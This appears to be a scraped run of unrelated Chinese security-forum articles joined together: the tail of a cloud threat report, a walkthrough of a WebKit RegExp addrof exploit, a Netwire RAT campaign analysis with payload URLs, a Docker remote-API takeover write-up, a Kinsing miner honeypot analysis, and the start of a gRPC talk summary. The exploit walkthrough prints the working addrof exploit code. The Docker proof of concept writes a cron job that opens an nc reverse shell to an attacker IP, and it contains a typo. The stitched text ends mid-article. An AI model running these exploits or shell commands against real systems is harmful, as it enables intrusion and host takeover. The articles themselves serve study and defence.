我们认为我方采集的非全量数据样本，在概率上符合一定的数据取样准则，基于相关数据样本的分析结果，在趋势分析和分类统计上与实际情况不会存在太大的偏差值。对于受限于数据获取的渠道、数据本身的变化、抽样概率的限制及样本噪点的影响等所导致的偏差，我们会采取人工经验判断方式进行修正，这部分数据我们会加以注明。
## 三、针对公有云的网络攻击威胁
基于威胁猎人自有的黑灰产攻击流量监控数据，我们从中专门提取了针对公有云的各类攻击数据。从中可以看出，2018年上半年（2018年01月-06月）间，以国内各大公有云的云上应用和云主机为目标的网络攻击整体呈明显上升趋势，威胁类型以机器人、撞库攻击为主，针对云主机、域名和邮箱等资源的业务灰产仍大量存在。
### 1、攻击总次数整体呈上升趋势
通过对相关攻击行为按月进行次数统计，我们可以看到，在排除2月份春节期间大规模企业营销活动所造成的数据样本偏差影响后，黑灰产对公有云的攻击次数呈明显的上升趋势。
### 2、阿里云、腾讯云遭受攻击最多
在国内公有云厂商中，针对阿里云的攻击次数占比最高，达55.32%，针对腾讯云的攻击次数占比居第二，为27.34%，其他依次是UCLOUD、华为云、青云、百度云、金山云、京东云。这与国内公有云厂商的市场份额占比排名基本趋同（此处忽略了部分公有云厂商较细微的市场份额差异）。
值得注意的是，如果按月统计攻击次数占比，阿里云和腾讯云的占比在大多数月份都呈小幅上升趋势（排除2月份春节的数据样本偏差影响），这也与公有云市场份额的集中化趋势基本趋同。
### 3、超五成攻击为机器人所为
通过对攻击流量中行为特征的提取，我们发现，超过五成的攻击为机器人所为。这些机器人中绝大部分用来执行互联网扫描或漏洞利用动作，其中大部分（超过70%）为最为常见的批量端口扫描器，约两成源自针对特定目标的自动化漏洞扫描与利用工具（如Struts2-045/048系列漏洞），另有约一成应与国家监管部门、安全厂商和科研机构的互联网资产探测类系统有关。此外，还有极少部分机器人是针对公有云企业邮箱的注册机。
此外，我们还发现一个有趣的现象，自动化扫描或漏洞利用类机器人中约三成的流量源头指向了美国弗吉尼亚州阿什本，即亚马逊AWS云计算园区所在地，且有逐月递增趋势。我们推断，由于国内网络安全监管趋严，黑灰产活动的部分基础设施正逐步向国外转移。
### 4、撞库攻击整体呈上升趋势
除自动化扫描或漏洞利用行为外，有14.36%的攻击行为为撞库攻击。对此类攻击行为按月进行次数统计，可以看到有明显的上升趋势（排除2月份春节的数据样本偏差影响）。
此外，我们还发现，三成左右的撞库攻击使用了重叠度较高的新的字典库，疑似与我们在2018年上半年监控到的数起社工库地下交易事件有关。考虑到从数据泄露到流出至暗网、Q群、Telegram群等进行小范围交易，再到大规模散播的时延一般在三到六个月左右，我们可以推断，到2018年下半年，撞库攻击将进一步增加。
### 5、公有云业务灰产依旧活跃
通过对“TH-Karma”平台采集的黑灰产数据进行分析，我们发现针对公有云各类优惠活动的薅羊毛活动仍然活跃。典型的有：通过批量刷阿里云、腾讯云和美团云学生机优惠再进行转租转售，或是批量代过阿里云和腾讯云域名实名认证，或是通过邮箱注册机批量注册公有云企业邮箱等等。我们认为，这类活动已形成较为完整的“产-销-用”灰产链条，为其他黑灰产活动提供基础设施支撑。
### 6、数据分析补充说明
受限于数据获取的渠道及样本噪点的影响，我们的监控渠道对DDoS攻击和爬虫两类攻击的捕获率偏低，导致在数据统计结果中这两类攻击次数低于我们的经验预期，无法判断其趋势走向，故在本报告中不对此做详细分析。但从我们获取的黑灰产交易数据来看，近6个月针对阿里云和腾讯云服务器的DDoS攻击空单（即没人接单或接单完不成）量明显增多，侧面反映了阿里云、腾讯云等云厂商在抗DDoS方面的努力已有一定成效。
## 四、来自公有云的网络攻击威胁
同样基于威胁猎人自有的黑灰产攻击流量监控数据，我们从中专门提取了来自公有云的各类攻击数据。可以看到，2018年上半年（2018年01月-06月）间，相关网络攻击行为无明显增长，整体趋于平稳，威胁类型以机器人、撞库为主，业务层面的攻击行为有明显增加。
### 1、攻击总次数整体趋于平稳
通过对相关攻击行为按月进行次数统计，我们可以看到，在排除2月份春节期间大规模企业营销活动所造成的数据样本偏差影响后，从公有云主机发起的攻击次数无明显增长，基本趋于平稳。
### 2、从阿里云、腾讯云发起的攻击最多
在国内公有云厂商中，从阿里云主机发起的攻击次数占比最高，达60.65%，从腾讯云主机的攻击次数占比居第二，为23.51%，其他依次是金山云、UCLOUD、华为云、百度云、京东云。
若按月统计攻击次数占比，阿里云和腾讯云的占比在大多数月份都呈一定幅度的上升趋势（排除2月份春节的数据样本偏差影响）。究其原因，我们认为这与阿里云、腾讯云在2018年上半年的一系列促销优惠活动有关：诸如前述的学生机，以及老客户6元机等云主机资源被越来越多的黑灰产用于对外发起攻击。
### 3、机器人中注册机占比上升
通过对攻击流量中行为特征的提取，我们对在所有攻击类型中占比高达54.73%的机器人进行了类型细分和统计。结果显示，与3.3中机器人中扫描或漏洞利用类工具占绝大多数的类型分布有所不同的是，从公有云主机发起的机器人行为中约有超三成（31.84%）为各类注册机（如邮箱注册机、账号注册机等）所为，另有近一成（9.50%）为各类外挂工具（如红包外挂、游戏外挂等）。由此可见，公有云主机较之传统IDC机房更高性价比和安全性，使得注重成本和自我保护的黑灰产正在将部分服务类业务向公有云迁移。
### 4、超三成攻击为撞库且仍会增长
同时，我们还发现，超过三成（33.67%）的攻击均为撞库攻击，且逐月呈现一定幅度的上升趋势（排除2月份春节的数据样本偏差影响）。结合前文中3.4章节的分析结果，我们可以推断，到2018年下半年，从公有云主机对外发起的撞库攻击将进一步增加。
### 5、数据分析补充说明
受限于数据获取的渠道，我们的监控渠道无法准确判断被用于对外攻击的云主机中哪些是最初目的就是用于黑灰产攻击，哪些又是被黑后的失陷主机，而单纯基于DGA域名规则进行判断也存在一定的局限性，且相应的数据统计结果远低于我们的经验预期。因此，在本报告中不对这一方面做详细分析。
## 五、被忽视的云上内容合规问题
结合金山毒霸在端上的恶意站点感知数据，以及威胁猎人采集的黑灰产活动数据，我们发现，除了前述各类网络攻击威胁外，公有云厂商还面临较严重的云上内容合规问题：大量恶意、违规网站利用公有云部署便捷、性价比高和防护能力强的特点，在公有云上搭建并对外开展网络赌博、网络色情、网络钓鱼、网络传销、内嵌挖矿等非法活动。
### 1、云上网络赌博类的占比最高
2018年上半年（2018年01月-06月）间的监控数据显示，云上的恶意、违规网站中，与网络赌博相关的占比最高，高达75.38%。尤其是受到6月世界杯的影响，有大量足球类博彩网站在6月集中上线，并有大量云上的正常网站被批量植入带有博彩内容的暗链和页面。预计到7月份世界杯结束，网络赌博类的占比将回落到正常水平（预估约在50%-60%间）。
### 2、云上网络色情类大多意在欺诈
通过数据取样分析，我们发现，公有云中网络色情类大多都与网络欺诈活动相关。一般操作手法是：先借助广告、社交软件引流等方式，利用诱惑性视频或图片将用户吸引至网站，再诱导用户进行充值，但大多并不提供相应的服务，是一种典型的网络欺诈行为。
这类网站为了躲避监管，大多都会利用低价的批量域名和云主机资源，每隔1-3天随机切换域名和主机。这种操作手法在云上的网络钓鱼活动中也大量出现。
### 3、云上网络钓鱼类玩法多样
我们通过对各公有云中网络钓鱼类非法内容的数据统计发现，钓鱼网站最常见的仿冒网站类型分别是：银行、游戏、电商、P2P金融、赌博。
通过结合黑灰产交易渠道监控数据的关联分析，我们发现银行类钓鱼网站存在以下两大特征：一是呈现一定周期性的出现规律，二是与地下黑市的一些银行账户和个人隐私交易事件存在较大关联性，这都说明从事相关活动的多为固定团伙，活跃周期多在1个月左右。
P2P金融类是之前较少出现的一类钓鱼网站，这与近几年持续的理财热有关。有趣的是，我们发现有少部分此类钓鱼网站竟然是利用近期大量P2P金融“爆雷”潮，通过微信、QQ和论坛的维权群诱骗期望追回钱财的人到虚假网站上填写个人信息，或是进一步骗取金钱。
赌博类钓鱼网站同样受世界杯的影响出现激增现象，预计世界杯结束后会有所回落。
### 4、云上网络传销类屡禁不止
通过数据分析发现，云上的网络传销类站点大多以所谓“现金平台”、“网上微商”、“网上兼职”等形式出现，并引流至相应的传销微信群、QQ群、论坛或线下集会。
值得注意的是，随着数字货币的大热，主打“交易即挖矿”等新兴概念的网络传销也正在兴起，并与一些网络欺诈行为相结合，已诱使不少人深陷其中。
## 六、写在最后
在云计算普及的当下，各大云计算服务提供商也承担着更重要的角色，对违规内容和业务的审计能力也成为云计算服务提供商的标准能力。除了各大云计算厂商的自己投入之外，行业的联动及第三方服务提供商的能力合入也在提升整体安全审计效率。互联网生态快速变化过程中，安全体系的迭代存在更大压力。 | 社区文章 |
原文地址：<https://liveoverflow.com/webkit-regexp-exploit-addrof-walk-through-browser-0x04/>
## Introduction
在前面的文章中，我们为读者不仅为读者介绍了jsc的内部原理，同时，也阐释了exploit的相关原理。所以，在这篇文章中，我们将为读者演示[Linus](https://twitter.com/linushenze
"Linus")的exploit。考察其[源代码](https://github.com/LinusHenze/WebKit-RegEx-Exploit
"源代码")的过程中，我们通过index.html发现了一个pwn.html文件，其中引用了许多javascript文件。
<script src="ready.js"></script>
<script src="logging.js"></script>
<script src="utils.js"></script>
<script src="int64.js"></script>
<script src="pwn.js"></script>
如上所示，这里涉及多个文件，其作用我们将在后面详细介绍。现在，我们将从pwn.js开始下手。实际上，这个脚本很长，大约536行代码，它们的作用是最终获得任意代码执行权限，当然，为了达到这一目的，它采取了许多不同的步骤。下面，让我们从文件顶部开始，寻找一些我们已经熟悉的身影。
## The Familiar
首先，我们来看看前两个函数，即addrofInternal()和addrof()函数。为了便于研究，不妨先将这两个函数复制到一个单独的javascript文件中，比如test.js。顾名思义，addrof()是一个用于返回对象的内存地址函数。为了测试该函数，我们可以创建一个空对象，然后对其调用addrof()函数。
object = {}
print(addrof(object))
我们可以利用jsc来完成相应的测试。
$ ./jsc ~/path/to/test.js
如果出现`dyld:symbol not found`这样的错误，那说明需要将动态加载器框架路径设置为Mac中的调试构建目录，具体如下所示。
$ export DYLD_FRAMEWORK_PATH=~/sources/WebKit.git/WebKitBuild/Debug
如果我们尝试用jsc运行这个文件，
$ ./jsc ~/path/to/test.js
5.36780059573437e-310
我们将会看到一个奇怪的数字（实际上是一个内存地址），下面，我们使用Python来进行解码。
>>> leak = 5.36780059573437e-310
>>> import struct # import struct module to pack and unpack the address
>>> hex(struct.unpack("Q", struct.pack("d", leak))) # d = double, Q = 64bit int
0x62d0000d4080
好了，0x62d0000d4080是不是更像一个地址呀？为了快速确认它是否为我们的对象的地址，我们可以使用description方法来显示该对象的相关信息。
object = {}
print(describe(object))
print(addrof(object))
$ ./jsc ~/path/to/test.js
Object: 0x62d0000d4080 with butterfly ...
5.36780059573437e-310
很明显，两者是一致的，这证实这的确是一个地址泄漏漏洞。但是这里是如何得到这个地址的呢？目前来看，貌似是addrof和addrofInternal不知何故泄露了地址，所以，让我们从addrof开始进行研究。
// Need to wrap addrof in this wrapper because it sometimes fails (don't know why, but this works)
function addrof(val) {
for (var i = 0; i < 100; i++) {
var result = addrofInternal(val);
if (typeof result != "object" && result !== 13.37){
return result;
}
}
print("[-] Addrof didn't work. Prepare for WebContent to crash or other strange\
stuff to happen...");
throw "See above";
}
总体来说，该函数似乎有一个循环，循环次数大约为100次，每次循环时，它都会调用addrofInternal函数。然后，检查结果的类型是否为“object”，以及其值是否为13.37。注释指出，必须有两个函数，因为需要将其封装到另一个函数中，因为在某些情况下exploit运行时会失败。这意味着真正的魔法发生在addrofinternal函数中，所以让我们先来看看这个函数！
//
// addrof primitive
//
function addrofInternal(val) {
var array = [13.37];
var reg = /abc/y;
function getarray() {
return array;
}
// Target function
var AddrGetter = function(array) {
for (var i = 2; i < array.length; i++) {
if (num % i === 0) {
return false;
}
}
array = getarray();
reg[Symbol.match](val === null);
return array[0];
}
// Force optimization
for (var i = 0; i < 100000; ++i)
AddrGetter(array);
// Setup haxx
regexLastIndex = {};
regexLastIndex.toString = function() {
array[0] = val;
return "0";
};
reg.lastIndex = regexLastIndex;
// Do it!
return AddrGetter(array);
}
## The Bug
首先，这里有一个数组array，但只有一个元素，即13.37，如果我们考察最后一行的return语句，发现它会调用AddrGetter函数，该函数将返回该数组的第一个元素。因此，当前封装函数检查!==
13.37是否成立是有意义的，如果返回的值仍然是13.37的话，那么，我们就会再试一次。因此，该数组的第一个元素应该通过某种方式变为对象的地址。
此外，这里还有一个正则表达式对象reg，其RegEx选项被设为“y”，这意味着搜索是具有粘性的（sticky），而sticky是RegEx行为的一个特殊RegEx选项，表示仅从正则表达式的lastIndex属性表示的索引处搜索
。前文说过，这个漏洞是由于优化RegEx匹配方式的问题所致，因此这个RegEx非常重要。
另外，这里还有一个名为getArray的冗余函数，它只用于返回该数组，所以，貌似我们可以删除该函数。
同时，上面还有一个循环，迭代次数为100,000次并调用AddrGetter函数。这样做是为了强制进行JIT优化。
AddrGetter函数中有一个for循环，虽然它什么也不做，但显然有一个特殊的用途。并且[saelo](https://github.com/saelo/cve-2018-4233/blob/master/pwn.js#L86
"saelo")在类似漏洞的利用代码的注释中也说过，“某些代码可以避免内联”，这意味着JIT编译器可以通过内联某些函数来实现优化，但是如果某些函数像这样复杂的话，JIT编译器就不会通过内联进行优化了。不过，即使移除这个循环，在这里也并无大碍——所以，这里只是为了确保这些函数不会内联。
这里还有一个名为AddrGetter的函数，这个函数的功能很简单——调用match方法并返回array[0]。通过Symbol，我们能够以不同的方式调用match方法，不过，我们也可以用"abc".match(reg)代替它，这看起来要更简洁一些。这个函数会因第4步的循环而被JIT化。也就是说，它会被编译成机器代码。我们知道，由于JIT编译器会进行优化，所以JIT自然会知道数组元素为双精度浮点型，所以，它可能会返回一个双精度浮点型数组，并且不再进行类型检查。
然而，这些应该不会引发安全问题，因为一旦某个东西在JIT化的代码中出现副作用的话，它就会被丢弃，对吗？结果到底如何，我们拭目以待。(副作用是可以将数组从双精度浮点型数组变成其他类型数组的东西)。
现在，我们创建一个名为regexLastIndex的对象，并覆盖toString方法。一旦该函数被执行，array[0]的值就会被改变，并且该函数将返回“0”。我们知道，该数组最初是一个双精度浮点型数组(ArrayWithDouble)，但是一旦我们将元素改为对象，数组就会变为一个占据连续内存空间的数组（ArrayWithContigous），这意味着第一个元素现在是指针，而不再是数字。(这就是所谓的副作用)。
最后，将reg.lastIndex分配给新创建的对象regexLastIndex。所以现在，这个函数已经基本就绪，它将数组的第一个元素设置为我们指定的值，只是它还没有被执行。不过，lastIndex一旦被访问，就会执行toString函数。
lastIndex是正则表达式实例的读/写整数属性，指定下次匹配时从哪一个索引开始。
如果RegEx是从lastIndex属性读取相关数据，以确定下次匹配时从哪里开始的话，那么，我们也许能欺骗经过优化的JIT型代码，使其将该数组视为双精度浮点型（ArrayWithDouble），并将其元素转换为指向对象的指针。
这就是再次执行AddrGetter的原因。此时，这个函数将被JIT化，经过优化的JIT型代码将执行一个功能与我们原来的正则表达式等价的正则表达式，但现在具体代码会有些不同。也就是说，该函数在JIT化之后，lastIndex属性也随之改变了。
大家还记得前面表示黏性的“y”吗？
sticky属性反映搜索是否是黏性的（仅从该正则表达式的lastIndex属性指示的索引处开始搜索字符串）。对于某个正则表达式对象来说，属性sticky是只读属性。
现在，内部RegEx代码必须查看lastIndex属性，但它注意到——它并不是数字，而是一个对象，所以，它会试图通过调用toString将结果转换为数字，而这会触发对数组的赋值操作。
现在，该数组将会被更新，并且该数组的第一个元素被设置为我们的对象。匹配结束后，我们最终通过AddrGetter返回第一个元素。问题就出在这里。JIT化的函数仍然返回第一个元素，并且不进行任何类型检测。
这里的主要问题是，在相关函数JIT化后，Javascript引擎仍然认为数组没有发生变化，并仍然将返回的数组的第一个元素作为双精度浮点型看待，但事实上，它已经变为一个指向对象的指针，即我们泄漏的地址。
## Cleaning the Exploit Code
在WebKit官方网站的一篇讲解调试技术[文章](https://webkit.org/blog/6411/javascriptcore-csi-a-crash-site-investigation-story/
"文章")中，介绍了许多在调试过程中非常有用的环境变量，就这里来说，我们最感兴趣的一个环境变量就是JSC_reportDFGCompileTimes，它能告诉我们通过DFG或FTL进行优化的函数所用的编译时间。另外，我还在封装函数addrof中添加了一个print语句，以显示具体时间。
function addrof(val) {
for (var i = 0; i < 100; i++) {
print("exploit attempt nr.", i); // Added print statement to see different attempts
var result = addrofInternal(val);
...
现在，如果我们在JSC_reportDFGCompileTimes = true时运行它，我们将看到以下结果。
如您所见，这里进行了两次不同的尝试。第一次尝试失败了，其中AddrGetter函数优化了两次：一次使用DFG进行的优化，另一次使用FTL进行的优化。不过，第二次尝试成功了，并且这次只用DFG进行了优化，可能是由于循环次数太大，所以根本不必进行FTL优化。因此，如果不想进行FTL优化的话，就要减少迭代次数。所以，让我们将迭代次数从100,000改为10,000。
// Force optimization
for (var i = 0; i < 10000; ++i)
AddrGetter(array);
现在，如果我们再次运行，该exploit就会立即生效，所以，现在可以删除这个封装函数并直接调用它。
## Digging Deep
接下来，我们开始考察JSC_dumpSourceAtDFGTime环境变量，通过它可以找到所有将被优化的JavaScript代码，我们可以沿着这些线索进行深挖。
$ JSC_dumpSourceAtDFGTime=true \
JSC_reportDFGCompileTimes=true \
./jsc test.js
如您所见，它指出了哪些函数经过了优化处理，在我们的例子中，就是AddrGetter函数。由于这个函数使用了match函数，因此在上图中可以看到，在进行RegEx匹配时该方法经过了相应的内联和优化处理。这看起来可能很奇怪，但事实证明，Javascript引擎的一些核心函数（如match）是用Javascript语言而不是C++语言编写的。因为在优化过程中，用Javascript编写的函数可以像上面一样进行内联处理，以便提高执行速度。读者可以在builtins/StringPrototype.js中找到match函数的源代码。
// builtins/StringPrototype.js
// '...' = code we are not interested in.
function match(regex)
{
"use strict";
if (this == null)
@throwTypeError(...);
if (regex != null) {
var matcher = regexp.@matchSymbol; // Linus's exploit directly called matchSymbol
if (matcher != @undefined)
return matcher.@call(regexp, this);
}
...
}
我们还可以看到，该引擎也对Symbol.match的代码进行了相应的内联和优化处理，其源代码可以在builtins/RegExpPrototype.js中找到。
// builtins/RegExpPrototype.js
@overriddenName="[Symbol.match]"
function match(strArg)
{
...
if (!@hasObservableSideEffectsForRegExpMatch(this))
return @regExpMatchFast.@call(this, str);
return @matchSlow(this, str);
}
如上所示，这里确实检查了代码是否有副作用（side effects）！
如果代码确实有副作用的话，那么它将调用MatchSlow；如果没有的话，那么它将调用RegExpMatchFast。如果我们查看该漏洞的补丁程序，我们会发现其中添加了一个检查这个问题的HasObservableSideEffectsForRegExpMatch函数。
return typeof regexp.lastIndex !== "number";
这将检查正则表达式的lastIndex属性是否为“数字”，因为在我们的exploit中，我们创建了一个带有toString函数的对象，而非数字。也就是说，这个漏洞之所以存在，是因为开发人员忘记了对副作用进行相应的检查！
顺便说一句，regExpMatchFast并不是一个函数，相反，它更像是一个“操作代码/指令”，具体代码请参见DFGAbstractInterpreterInlines.h文件。
switch (node->op()) {
...
case RegExpTest:
// Even if we've proven know input types as RegExpObject and String,
// accessing lastIndex is effectful if it's a global regexp.
clobberWorld();
setNoneCellTypeForNode(node, SpecBoolean);
break;
case RegExpMatchFast:
...
...
}
这是一个非常大的switch语句，其作用是从图中获取一个节点并检查它的操作码。其中，有一个case子句是用来检查regExpMatchFast的。有趣的是，在这个子句的上面，还对RegExpTest进行了检查，如果满足条件的话就会调用clobberWorld——我们知道，这意味着JIT不再信任对象的结构并且退出。需要注意的是，这里的注释也很有意思：
Even if we've proven know input types as RegExpObject and String, accessing lastIndex is effectful if it's a global regexp.
所以我猜他们确实想到了访问lastIndex会执行导致副作用的Javascript代码，从而破坏所做的所有假设......但是regExpMatchFast被遗忘了。
这的确很酷，不是吗？
## Resources
* [test.js](https://gist.github.com/LiveOverflow/ee5fb772334ec985094f77c91be60492 "test.js")
* [JavaScriptCore CSI: A Crash Site Investigation Story](https://webkit.org/blog/6411/javascriptcore-csi-a-crash-site-investigation-story/ "JavaScriptCore CSI: A Crash Site Investigation Story")
* [LinusHenze WebKit-RegEx-Exploit](https://github.com/LinusHenze/WebKit-RegEx-Exploit "LinusHenze WebKit-RegEx-Exploit")
* [Saelo cve-2018-4233](https://github.com/saelo/cve-2018-4233/blob/master/pwn.js "Saelo cve-2018-4233")
* [Vulnerability Patch](https://github.com/WebKit/webkit/commit/7cf9d2911af9f255e0301ea16604c9fa4af340e2?diff=split#diff-fb5fbac6e9d7542468cfeed930e241c0L66 "Vulnerability Patch")
* [Video Explanation](https://www.youtube.com/watch?v=IjyDsVOIx8Y "Video Explanation") | 社区文章 |
**原文：[Spam campaign: Netwire RAT via paste.ee and MS Excel to German
users](https://www.gdatasoftware.com/blog/netwire-rat-via-pasteee-and-ms-excel
"Spam campaign: Netwire RAT via paste.ee and MS Excel to German users")
译者：知道创宇404实验室翻译组**
G DATA发现了在德国的垃圾邮件活动，它通过PowerShell在Excel文档中传递NetWire RAT恶意软件。这些邮件伪造了德国的快递服务DHL。
### DeepRay警报：对德国客户的攻击
2020年4月13日中午，我们的监测系统创建了一个警报，因为DeepRay报告了对PowerShell下载器上一个特定检测的点击量比平常多。警报系统可以及早发现是否出了问题，由于垃圾邮件攻击我们的德国客户，触发了这个警报，检测系统合法地阻止了恶意软件下载程序的工作。
我们对所检测到的威胁进行了调查，发现了与BEAST相关的条目，这些条目表明罪魁祸首是通过电子邮件发送的Excel文档。尽管我们自己没有收到Excel或电子邮件文档本身，但确实看到了BEAST为同意恶意软件信息倡议（Mii）的那些客户报告的感染链。
### 感染媒介：带有Excel附件的邮件
该恶意邮件声称是来自德国的快递公司DHL，它说找不到最近一份订单的送货地址，收件人应该在附件文件中添加信息。[这篇德文文章中](https://zac-niedersachsen.de/artikel/45)显示了一封电子邮件的截屏，警告了恶意宏，我们发现这些宏是和IOC描述的相同威胁。
由于新冠疫情很多商店封锁，目前很多人都在接收快递，这可能就是为什么攻击者选择这种方式来欺骗用户。
该文档的名称为Dokumentation.xls[1]。通过Google搜索后我们在[Virustotal](https://www.virustotal.com/gui/file/67fd76d01ab06d4e9890b8a18625436fa92a6d0779a3fe111ca13fcd1fe68cb2/detection
"Virustotal")上找到了一个正在进行的活动样本。如果打开它将显示一个图像，要求用户激活宏以显示内容。
在启用宏之后，Excel文档激活PowerShell命令，该命令从paste.ee下载两个文件，并对它们执行字符替换以解码文件。
其中一个文本文件[4]如下图。这里的字符“@@”将被“44”替换，“!”被“78”替换。
在替换字符并将整数转换为字节之后，可以看到第二个混淆层[5]。这一层只有'N'作为所有字节值的前缀。对其进行解码可以显示最后一层，即一个名为Hackitup[2]的.NET
DLL。
### Hagga传递NetWire RAT
从paste.ee下载的另一个文件是经过混淆但未打包的NetWire[3]示例。Netwire是一种广泛传播的远程访问恶意软件。
前面提到的.NET DLL Hackitup
[2]对给定的文件执行进程注入。PowerShell命令调用此DLL将NetWire[3]注入MSBuild.exe。
此类PowerShell下载器通常用于[Azorult文章](https://malwareanalysis.home.blog/2019/10/13/haggas-aggah-campaign-new-tool-azorult/ "Azorult文章")中所述的Hagga也就是Aggah活动中。
### 阻止恶意活动传播
在我发布了有关恶意活动的[推文](https://twitter.com/struppigel/status/1260582082386018310
"推文")之后，研究员[@JayTHL](https://twitter.com/JayTHL
"@JayTHL")请求了paste.ee网站并进行了报告。几分钟后就被撤下了，有效地停止了payload的输送。
### IOCs
URLs:
* paste .ee/r/e49u0
* paste .ee/r/dlOMz
* paste .ee/r/gTYWf
* paste .ee/r/rHoL5
* * * | 社区文章 |
# 1.概述
文章主要分析docker未授权漏洞的原理及形成原因，使用[vulhub](https://vulhub.org/)靶场复现漏洞，在了解漏洞原理并复现的基础上使用golang编写蜜罐代码进行模拟，开放端口在网上捕获真实存在的恶意攻击行为，对恶意样本进行分析，总结出威胁情报。
# 2.漏洞原理与复现
## 2.1 漏洞环境
宿主机 unbutu IP：192.168.145.139
攻击机 kali IP：192.168.145.130
## 2.2 漏洞原理
docker是一个开源的应用容器引擎，可以让开发者打包他们的应用以及依赖包到一个可移植的容器中，然后发布到任何装有docker引擎的机器上
[docker swarm](https://docs.docker.com/engine/swarm/)是一个将docker集群变成单一虚拟的docker
host工具，使用标准的docker API，能够方便docker集群的管理和扩展，在使用docker
swarm时docker节点上会开放一个2375的端口，绑定在0.0.0.0上，这个就是[docker remote
api](https://docs.docker.com/engine/api/)，可以执行docker命令，比如访问访问
<http://host:2375/containers/json> 会返回服务器当前运行的 container列表，和在docker CLI上执行
docker
ps的效果一样，其他操作比如创建/删除container，拉取image等操作也都可以通过API调用完成。这样就可以被远程执行命令，进一步获取root权限。
## 2.3 漏洞复现
在宿主机上使用vulhub搭建漏洞环境
环境搭建好后进入docker目录，使用命令启动环境 docker-compose up -d
出现绿色的down表示启动成功
在浏览器访问<http://ip:2375/version，> 可以访问说明漏洞环境搭建成功。
监听端口2375
POC:
import docker
client = docker.DockerClient(base_url='http://192.168.145.139:2375/')
data = client.containers.run('alpine:latest',
r'''sh -c "echo '* * * * * /usr/bin/nc 192.168.145.130 23456 -e /bin/sh' >> /tmp/etc/crontabs/root" ''',
remove=Ture,volumes={'/etc': {'bind': '/tmp/etc', 'mode': 'rw'}})
解释一下poc
第三行：首先连接客户端，第四行先选择要启动的容器，执行命令将宿主机的 /etc 目录挂载到容器中，volumes为传入挂载的目录， 规则是：
[“docker-path:local-path”] ，使用nc命令在攻击机监听端口23456。
将目录挂载到容器中是为了能够逃出容器，进入宿主机。因为docker是以root权限运行的，docker命令只能在容器内部，与宿主机是隔离的状态，即使反弹了shell也无法进入宿主机，docker本身在运行容器的时候，可以将本地文件或者目录挂载到容器内部，并且在容器内部这些文件或者目录都是可以修改的。
这样的话可以获取root权限进程，并且能够进行修改文件或者目录。这样就可以进行利用了。
在执行代码前使用nc命令监听端口23456等待反弹shell
nc -lvvp 23456
反弹shell
在宿主机进入目录查看验证是否与攻击机相同
在攻击机反弹shell查看相同，漏洞复现成功，反弹shell可以操作宿主机
# 3.蜜罐模拟
## 3.1 简介
蜜罐程序使用golang语言编写，本次编写蜜罐程序为低交互蜜罐，低交互蜜罐模拟网络服务响应和攻击者交互，容易部署和控制攻击，但是模拟能力会相对较弱，对攻击的捕获能力不强。
有别于高交互蜜罐采用真实系统与服务诱捕恶意攻击，低交互为攻击者展示的所有攻击弱点和攻击对象都不是真正的产品系统，而是对系统以及其提供服务的模拟，这样设计的好处是安装和配置非常简单，几乎没有安全风险问题，不足之处是不完善的模拟会降低数据捕获的能力，并且容易被攻击者识别。
将编译好的Linux执行文件放在服务器上开放2375端口诱使黑客进行攻击，运行程序，从而捕获网上的恶意攻击数据，记录攻击源和IP。
蜜罐源码已开源：<https://github.com/sunhao282/HoneypotCaptureAttack/tree/master>
## 3.2 蜜罐流程
蜜罐程序的整体流程首先会打开配置文件config.ini。
根据status是否为1判断是否开启docker蜜罐，status为1即开启蜜罐，为0则关闭蜜罐。
使用go关键字开启并行：
通过分析网络上自动化攻击程序<https://github.com/Tycx2ry/docker_api_vul> 发现， 我的程序需要支持的路径如下：
开启蜜罐程序后即可通过端口2375进行访问。
使用函数ListenAndServe启动http服务并监听端口，参数为服务器的IP和请求处理函数的路由复合器，函数ListenAndServe将两个参数创建一个Server结构体实例
蜜罐系统是通过这些路由在网上与攻击者进行交互。当有恶意攻击行为进行攻击后，日志文件会记录恶意攻击行为，为后续的分析提供服务。
# 4.蜜罐捕获分析
查看日志文件发现恶意攻击行文的记录。
捕获的log文件部分截图如下：
开始分析捕获的恶意样本195.2.79.26/d.sh
## 4.1 下载挖矿程序
在运行kinsing脚本之前会先检查kinsing是否存在，并校验MD5值，如果不存在或者MD5不正确时会连接指定的URL进行下载kinsing。
下载地址
## 4.2 结束竞品
分析恶意样本源码发现了大量删除文件的操作，部分截图如下：
删除用户账号：
杀掉进程
删除docker文件
恶意文件通过大量的删除文件，杀掉进程等操作来获取最大的CPU使用率，从而获取最大的利益。
## 4.3 卸载安全软件
卸载阿里云安骑士文件
卸载云警
关闭selinux防火墙，关闭Linux内核apparmor安全模块，关闭阿里云服务，杀掉阿里云安骑士相关进程
## 4.4 建立持久化
利用定时任务建立持久化
## 4.5 分析恶意样本kinsing
在挖矿源码中发现恶意样本kinsing
使用IDA对恶意样本kinsing进行分析：
downloadAndExecute函数下载并执行恶意文件
调用DownloadFile函数下载文件
函数killold用来结束竞品，杀掉进程
可以看出样本包含有关挖矿相关的函数，并且通过main函数调用
## 4.6 IOC
IP：195.2.79.26
sh样本hash
* SHA256：529d7dee640400faf1fe550f30adaa8776d18723e41320eb1cde753e436c2238
* MD5：183192abab39199eb04c1961ff8a61e5
* SHA1：3d83c555abf14a0842021b256f366234a851f3e4
下载kinsing恶意文件：<http://195.2.79.26/kinsing>
kinsing样本hash
* SHA256：5d2530b809fd069f97b30a5938d471dd2145341b5793a70656aad6045445cf6d
* MD5：2c44b4e4706b8bd95d1866d7867efa0e
* SHA1：e545ceffc8948e3ca9900212807cf3a862d33581
# 5\. 建议
限制访问2375端口，不要对外网开放，在内网中需要设置严格的访问规则，修改docker
swarm的认证方式，使用TLS认证，最简单的方法就是禁止外网访问或者设置白名单。 | 社区文章 |
**作者：哈霓@蚂蚁安全实验室
原文链接：<https://mp.weixin.qq.com/s/WzzCFQBgg7BcVUFWT8npuQ>**
在今年的Black Hat Asia上，蚂蚁安全实验室共入选了5个议题和3个工具。本期分享的是蚂蚁天宸实验室的议题《自动化挖掘gRPC网络接口漏洞》。
# 01 简介
随着移动互联网和工业互联网的快速发展，大量开发者、厂商不得不关注网络通讯的实效性和效能问题，而gRPC框架正是基于这样的浪潮下应运而生的网络通讯框架。它是一个高可用、开源的网络库，提供了跨平台的接入能力，在网络开销、性能、安全性上相比HTTP通讯有着极大的优势。然而对于这样的基础设施，业界很少有以端到云的协议通讯视角，进行漏洞挖掘技术的文章。
本次蚂蚁安全实验室的曹世杰，在Black Hat Asia 2021的议题《基于gRPC协议封装的移动/ IoT应用程序的安全漏洞狩猎》中，
对这个方向进行了相关技术分享。
